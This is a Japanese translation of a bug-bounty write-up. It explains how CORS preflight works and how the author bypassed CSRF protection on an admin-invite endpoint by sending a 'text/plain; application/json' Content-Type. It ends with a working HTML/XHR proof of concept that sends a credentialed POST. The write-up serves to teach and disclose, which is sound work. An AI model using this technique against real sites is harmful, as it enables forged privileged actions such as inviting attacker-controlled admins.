Busting CSRF: The Dangers of JSON Exploited から学ぶ

ソース:

medium.com

脆弱性CSRF、CORS

 

訳:

Web サイトを探索していたときに、管理者を招待するためのエンドポイントを見つけ。 次のようになり。 

 

 

一見すると、CSRF 攻撃から安全であるように見えて。
HTML フォームを使用して JSON リクエストを送信することはできないため、XMLHttpRequest (XHR) である必要があり。
また、単純ではないリクエストを含むクロスオリジン XHR (たとえば、 Content-Type: application/json) 通常、ブラウザの CORS (Cross-Origin Resource Sharing) ポリシーにより、プリフライト チェックがトリガーされて。
通常、これにより悪意のあるリクエストがブロックされ。

しかし、待ってください。CORS とプリフライト リクエストについて話しましょう。

ブラウザーはプリフライト リクエストを使用して、クロスオリジン リクエストが送信前に安全であることを確認し。
サーバーでの簡単なチェックのようなものです。 概要は次のとおりで。

  • シンプルと非シンプル: シンプルなリクエストは基本的に、標準ヘッダーを持つ基本的な GET、HEAD、または POST リクエストで。 単純でないリクエストには、カスタム ヘッダーまたは異なるコンテンツ タイプが含まれ。
  • プリフライト フロー:
  1. ブラウザは、実際のリクエストの前に OPTIONS リクエストをサーバーに送信し。
  2. サーバーは、リクエストに対して「はい」または「いいえ」を示す CORS ヘッダーで応答し。
  3. 「はい」の場合、ブラウザは実際のリクエストを送信。 「いいえ」の場合、リクエストはブロックされて。

では、これはどのようにして CSRF を防ぐのでしょうか?
さて、クロスオリジン XHR の場合、 Content-Type: application/json、サーバーはリクエストを明示的に許可する必要があり。

  • Origin: リクエストの送信元の Web サイト。
  • メソッドとヘッダー: リクエストで使用される特定のメソッドとヘッダー。

サーバーの CORS 構成が正しい場合、悪意のある発信元は許可されず、プリフライト リクエストは失敗し、攻撃がブロックされ。

しかし、ねじれがあります… この場合、CORS ポリシーは正しく設定されていたため、悲しいことに、別のものを考え出す必要がありました…

JSON コンテンツ タイプは 本当に 必要ですか?」 と考えて。
リクエスト本文を削除し、代わりにメールをクエリパラメータとして追加したらどうなるでしょうか? このような:

 

 

そしてそれはうまくいきました!
200 OK の応答を受け取り、管理者の招待が送信され。
しかし、私はまだそれを持っていました Content-Type: application/jsonヘッダー。
通常はプリフライト チェックがトリガーされ。
削除または変更しようとしましたが、エラーが発生し。

 

 

ほとんど諦めかけましたが、サーバーがコンテンツ タイプをどのように検証しているかについて考えることにして。
「application/json」が どこかに ヘッダーの あることを確認するだけだとどうなるでしょうか?
そこで私は次のようなことを試しました:

 

 

そして、何だと思いますか? 出来た! 新しい道を開拓することができました…

ここで、ブラウザーをだまして、リクエストがプリフライト チェックを必要としない単純なコンテンツ タイプを使用していると認識させる必要があり。
いくつかの調査と周囲への質問の後、私は次のことを思いつき。

 

 

通常、ブラウザは Content-Type ヘッダーの最初の部分 (セミコロンまで) を MIME タイプとして扱って。
これは、ブラウザに表示される可能性が高いことを意味します text/plain 残りは無視し、プリフライト チェックを行わずにリクエストを直接送信し。

概念実証の時間:

私が作成した HTML コードは次のとおりで。

 

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CSRF PoC</title>
</head>
<body>
<script>
var email = "attacker@test.com";
var contentType = "text/plain; application/json";var xhr = new XMLHttpRequest();
xhr.open("POST", "https://example.com/api/rounds/test_round/admin/invite?email=" + email, true);
xhr.setRequestHeader("Content-Type", contentType);
xhr.withCredentials = true; // Include cookies
var payload = JSON.stringify({});
xhr.onload = function () {
if (xhr.status >= 200 && xhr.status < 300) {
console.log('CSRF request sent successfully');
} else {
console.error('Failed to send CSRF request');
}
};
xhr.send(payload);
</script>
</body>
</html>

 

エクスプロイトは成功し、ブラウザはプリフライトなしでリクエストを直接送信し。

機密性の高いアクションを実行するさまざまなエンドポイントでこれをテストしましたが、どのエンドポイントもこの CSRF 攻撃に対して脆弱で。

 

※プリフライトリクエスト:

Preflight request(プリフライトリクエスト)は、特定の条件下でブラウザがCORS(Cross-Origin Resource Sharing、異なるオリジン間でのリソース共有を許可する仕組み)ポリシーを守るために使用する、HTTPのプリフライトと呼ばれるプロセスの一部です。プリフライトリクエストは、実際のリクエストを送信する前に、「OPTIONS」というHTTPメソッドを使用してサーバーに送られます。このリクエストは、サーバーが実際のリクエストを安全に受け付けられるかどうかを確認するために使われます。

 

ほなほな。